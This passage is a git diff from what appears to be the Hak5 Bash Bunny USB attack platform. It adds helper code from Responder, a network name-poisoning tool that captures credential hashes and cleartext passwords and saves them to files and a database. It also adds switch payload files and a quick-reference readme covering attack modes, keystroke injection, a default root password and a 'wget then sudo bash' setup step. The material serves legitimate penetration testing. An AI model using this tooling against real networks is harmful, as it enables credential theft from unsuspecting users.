extension." + sys.exit(0) + +def color(txt, code = 1, modifier = 0): + if txt.startswith('[*]'): + settings.Config.PoisonersLogger.warning(txt) + elif 'Analyze' in txt: + settings.Config.AnalyzeLogger.warning(txt) + + if os.name == 'nt': # No colors for windows... + return txt + return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) + +def text(txt): + stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt) + logging.info(stripcolors) + if os.name == 'nt': + return txt + return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) + +def IsOnTheSameSubnet(ip, net): + net += '/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) + +def RespondToThisIP(ClientIp): + + if ClientIp.startswith('127.0.0.'): + return False + elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList: + print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp + return False + elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo: + return False + elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []: + if ClientIp not in settings.Config.DontRespondTo: + return True + return False + +def RespondToThisName(Name): + if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName: + return False + elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: + if Name.upper() not in settings.Config.DontRespondToName: + return True + return False + +def RespondToThisHost(ClientIp, Name): + return RespondToThisIP(ClientIp) and RespondToThisName(Name) + +def RespondWithIPAton(): + if settings.Config.ExternalIP: + return settings.Config.ExternalIPAton + else: + return settings.Config.IP_aton + +def OsInterfaceIsSupported(): + if settings.Config.Interface != "Not set": + return not IsOsX() + return False + +def IsOsX(): + return sys.platform == "darwin" + +def FindLocalIP(Iface, OURIP): + if Iface == 'ALL': + return '0.0.0.0' + + try: + if IsOsX(): + return OURIP + elif OURIP == None: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') + s.connect(("127.0.0.1",9))#RFC 863 + ret = s.getsockname()[0] + s.close() + return ret + return OURIP + except socket.error: + print color("[!] Error: %s: Interface not found" % Iface, 1) + sys.exit(-1) + +# Function used to write captured hashs to a file. +def WriteData(outfile, data, user): + logging.info("[*] Captured Hash: %s" % data) + if not os.path.isfile(outfile): + with open(outfile,"w") as outf: + outf.write(data + '\n') + return + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + return False + elif re.search(re.escape("$"), user): + return False + with open(outfile,"a") as outf2: + outf2.write(data + '\n') + +# Function used to write debug config and network info. +def DumpConfig(outfile, data): + with open(outfile,"a") as dump: + dump.write(data + '\n') + +def CreateResponderDb(): + if not os.path.exists(settings.Config.DatabaseFile): + cursor = sqlite3.connect(settings.Config.DatabaseFile) + cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)') + cursor.commit() + cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)') + cursor.commit() + cursor.close() + +def SaveToDb(result): + + for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: + if not k in result: + result[k] = '' + + if len(result['user']) < 2: + return + + if len(result['cleartext']): + fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client']) + else: + fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client']) + + logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) + + cursor = sqlite3.connect(settings.Config.DatabaseFile) + cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets + res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user'])) + (count,) = res.fetchone() + + if not count: + with open(logfile,"a") as outf: + if len(result['cleartext']): # If we obtained cleartext credentials, write them to file + outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) + else: # Otherwise, write JtR-style hash string to file + outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') + + cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) + cursor.commit() + + if settings.Config.CaptureMultipleHashFromSameHost: + with open(logfile,"a") as outf: + if len(result['cleartext']): # If we obtained cleartext credentials, write them to file + outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) + else: # Otherwise, write JtR-style hash string to file + outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') + + if not count or settings.Config.Verbose: # Print output + if len(result['client']): + print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) + + if len(result['hostname']): + print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) + + if len(result['user']): + print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) + + # Bu order of priority, print cleartext, fullhash, or hash + if len(result['cleartext']): + print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) + + elif len(result['fullhash']): + print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) + + elif len(result['hash']): + print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) + + # Appending auto-ignore list if required + # Except if this is a machine account's hash + if settings.Config.AutoIgnore and not result['user'].endswith('$'): + settings.Config.AutoIgnoreList.append(result['client']) + print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) + else: + print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1) + text('[*] Skipping previously captured hash for %s' % result['user']) + cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client'])) + cursor.commit() + cursor.close() + +def SavePoisonersToDb(result): + + for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]: + if not k in result: + result[k] = '' + + cursor = sqlite3.connect(settings.Config.DatabaseFile) + cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets + res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode'])) + (count,) = res.fetchone() + + if not count: + cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode'])) + cursor.commit() + + cursor.close() + + +def Parse_IPV6_Addr(data): + if data[len(data)-4:len(data)][1] =="\x1c": + return False + elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": + return True + elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": + return True + return False + +def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. + try: + from string import printable + + if len(nbname) != 32: + return nbname + + l = [] + for i in range(0, 32, 2): + l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) + + return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + except: + return "Illegal NetBIOS name" + + +def NBT_NS_Role(data): + return { + "\x41\x41\x00":"Workstation/Redirector", + "\x42\x4c\x00":"Domain Master Browser", + "\x42\x4d\x00":"Domain Controller", + "\x42\x4e\x00":"Local Master Browser", + "\x42\x4f\x00":"Browser Election", + "\x43\x41\x00":"File Server", + "\x41\x42\x00":"Browser", + }.get(data, 'Service not known') + + +def banner(): + banner = "\n".join([ + ' __', + ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', + ' | _| -__|__ --| _ | _ | | _ || -__| _|', + ' |__| |_____|_____| __|_____|__|__|_____||_____|__|', + ' |__|' + ]) + + print banner + print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ + print "" + print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)" + print " To kill this script hit CRTL-C" + print "" + + +def StartupMessage(): + enabled = color('[ON]', 2, 1) + disabled = color('[OFF]', 1, 1) + + print "" + print color("[+] ", 2, 1) + "Poisoners:" + print ' %-27s' % "LLMNR" + enabled + print ' %-27s' % "NBT-NS" + enabled + print ' %-27s' % "DNS/MDNS" + enabled + print "" + + print color("[+] ", 2, 1) + "Servers:" + print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) + print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) + print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) + print ' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled) + print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) + print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) + print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) + print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) + print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) + print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) + print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) + print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) + print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) + print "" + + print color("[+] ", 2, 1) + "HTTP Options:" + print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) + print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) + print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) + print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) + #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script + print "" + + print color("[+] ", 2, 1) + "Poisoning Options:" + print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) + print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) + print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) + print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) + print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) + print "" + + print color("[+] ", 2, 1) + "Generic Options:" + print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) + print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) + print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) + + if settings.Config.Upstream_Proxy: + print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) + if len(settings.Config.RespondTo): + print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) + if len(settings.Config.RespondToName): + print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) + if len(settings.Config.DontRespondTo): + print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) + if len(settings.Config.DontRespondToName): + print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) + print "\n\n" + diff --git a/payloads/switch1/payload.txt b/payloads/switch1/payload.txt new file mode 100644 index 0000000..9842210 --- /dev/null +++ b/payloads/switch1/payload.txt @@ -0,0 +1,2 @@ +LED R B +ATTACKMODE ECM_ETHERNET STORAGE diff --git a/payloads/switch2/payload.txt b/payloads/switch2/payload.txt new file mode 100644 index 0000000..2cb87af --- /dev/null +++ b/payloads/switch2/payload.txt @@ -0,0 +1,2 @@ +LED R B +ATTACKMODE RNDIS_ETHERNET STORAGE diff --git a/readme.txt b/readme.txt new file mode 100644 index 0000000..cf4fb5f --- /dev/null +++ b/readme.txt @@ -0,0 +1,171 @@ + + _____ _____ _____ _____ _____ _____ _____ _____ __ __ + (\___/) | __ || _ || __|| | | | __ || | || | || | || | | + (='.'=) | __ -|| ||__ || | | __ -|| | || | | || | | ||_ _| + (")_(") |_____||__|__||_____||__|__| |_____||_____||_|___||_|___| |_| + Bash Bunny by Hak5 USB Attack/Automation Platform + + + -+- QUICK REFERENCE GUIDE v1.2 -+- + + + +-----------------+ + +---- | The Bash Bunny by Hak5 is a simple and powerful + | : | Boot Modes | multi-function USB attack and automation platform + +---- * | for penetration testers and systems administrators. + +--|||------------+ + ||| + ||+-- (sw1) Switch Position 1: Customizeable Payload. + |+-- (sw2) Switch Position 2: Customizeable Payload. + +-- (sw3) Switch Position 3: Setup Mode - Serial + Mass Storage. + + + + Welcome & Updating the Bash Bunny Software + ----------------------------------------------------------------------------- + Congratulations on your new Bash Bunny by Hak5! For the best experience, we + recommend updating to the latest framework version and payload set from the + downloads section of https://www.bashbunny.com. There you will find a wealth + of knowledge and a helpful community of creative penetration testers and + IT professionals. Welcome! + + + + Mass-Storage Directory Structure Default Settings + -------------------------------------------- ---------------------------- + . + |-payloads Username: root + |-library Password: hak5bunny + | |-* Payloads from Bash Bunny repository + |-switch1 IP Address: 172.16.64.1 + | |-payload.txt - Bunny Script executed on DHCP Range: 172.16.64.10-12 + | boot in switch position 1 + |-switch2 LED Status: + |-payload.txt - Bunny Script executed on Blinking Green - Booting up + boot in switch position 2 Blinking Blue - Setup Mode + Blinking Red - Recovery Mode + + + + Partitions Recovery + ------------------------------------ ------------------------------------ + /dev/root - Main Linux file system If the Bash Bunny Setup Mode fails to + /dev/nandg - Recovery file systems boot >3 times the file system will + do not modify recover automatically. DO NOT UNPLUG + /dev/nandf - Mass storage partition while the red LED is blinking. + Mounted at /root/udisk + + + + Attack Modes + ----------------------------------------------------------------------------- + Three of five attack modes may be executed simultaneously. + + SERIAL ACM Abstract Control Model Serial Console + ECM_ETHERNET ECM Ethernet Control Model Linux/Mac/Android + RNDIS_ETHERNET RNDIS Remote Network Dvr Int Spec Windows (some *nix) + STORAGE UMS USB Mass Storage Flash Drive + HID HID Human Interface Device Keystroke Injection + + + + Bunny Script Ducky Script + ---------------------------------------------------------- --------------- + ATTACKMODE Specifies the USB devices to emulate. REM + Accepts combinations of three: SERIAL, DELAY + ECM_ETHERNET, RNDIS_ETHERNET, STORAGE, HID STRING + WINDOWS/GUI + LED Control the RGB LED. Accepts color and time. MENU/APP + R (red), G (green), B (blue), blink time (ms) SHIFT + ALT + LED R 1000 Set LED to blink red at 1 second interval CONTROL/CTRL + LED R B 0 Set LED to solid purple (red + blue) UPARROW/UP + LED Turn off LED DOWNARROW/DOWN + LEFTARROW/LEFT + QUACK / Q Injects specified keystrokes RIGHTARROW/RIGHT + Accepts file relative to /payloads/ path PAUSE/BREAK + Accepts Ducky Script directly DELETE + END + QUACK switch1/hw.txt Inject keystrokes from file ESCAPE/ESC + Q STRING Hello World Inject keystrokes from Ducky Script HOME + INSERT + PAGEUP + Environment Variables PAGEDOWN + ---------------------------------------------------------- PRINTSCREEN + $TARGET_IP IP Address of the computer received SPACE + by the Bash Bunny DHCP Server. TAB + $TARGET_HOSTNAME Host name of the computer on the NUMLOCK + Bash Bunny network. SCROLLOCK + $HOST_IP IP Address of the Bash Bunny CAPSLOCK + (Default: 172.16.64.1) F1...F12 + SET_LANGUAGE + + + + Connecting to the Linux Serial Console from Windows Serial Settings + --------------------------------------------------------- --------------- + Find the COM# from Device Manager > Ports (COM & LPT) 115200/8N1 + Look for USB Serial Device (COM#). Example: COM3 + Or run the following powershell command to list ports: Baud: 115200 + [System.IO.Ports.SerialPort]::getportnames() Data Bits: 8 + Parity Bit: No + Open Putty (putty.org) and select Serial. Enter COM# for Stop Bit: 1 + serial line and 115200 for Speed. Clock Open. + + + + Connecting to the Linux Serial Console from Linux/Mac + ----------------------------------------------------------------------------- + Find the device from the terminal with: "ls /dev/tty*" or "dmesg | grep tty" + On Linux the Bash Bunny may be /dev/ttyUSB0 or /dev/ttyACM0 + Connect to the serial device with screen. (apt-get install screen if needed) + Example: "sudo screen /dev/ttyACM0 115200" + Disconnect with keyboard combo: CTRL+a followed by CTRL+\ + + + + Example Payload Structure + ------------------------- + payloads/switch#/ + |-payload.txt Primary payload file executed on boot in + | specified switch position + |-readme.txt Optional payload documentation + |-config.txt Optional payload configuration for variables + | sourced by complex payloads + |-install.sh Installation script for complex payloads + | requiring initial setup (may require Internet) + |-remove.sh Uninstall/Cleanup script for complex payloads + + + + Share Internet Connection with Bash Bunny from Windows + ----------------------------------------------------------------------------- + - Configure a payload.txt for ATTACKMODE RNDIS_ETHERNET + - Boot Bash Bunny from RNDIS_ETHERNET configured payload on the host Windows PC + - Open Control Panel > Network Connections (Start > Run > "ncpa.cpl" > Enter) + - Identify Bash Bunny interface. Device name: "USB Ethernet/RNDIS Gadget" + - Right-click Internet interface (e.g. Wi-Fi) and click Properties. + - From the Sharing tab, check "Allow other network users to connect through + this computer's Internet connection", select the Bash Bunny from the + Home networking connection list (e.g. Ethernet 2) and click OK. + - Right-click Bash Bunny interface (e.g. Ethenet 2) and click Properties. + - Select TCP/IPv4 and click Properties. + - Set the IP address to 172.16.64.64. Leave Subnet mask as 255.255.255.0 and + click OK on both properties windows. Internet Connection Sharing is complete + + + + Share Internet Connection with Bash Bunny from Linux + ----------------------------------------------------------------------------- + - Download the Internet Connection Sharing script from bashbunny.com/bb.sh + e.g: wget bashbunny.com/bb.sh + - Run the bb.sh connection script with bash as root + e.g: sudo bash ./bb.sh + - Follow the [M]anual or [G]uided setup to configure iptables and routing + - Save settings for future sessions and [C]onnect + + + + (\___/) Find further documentation, repository of payloads, (\___/) + (='.'=) tutorial videos and community support forums at (='.'=) + (")_(") bashbunny.com. (C) Hak5 LLC (")_(")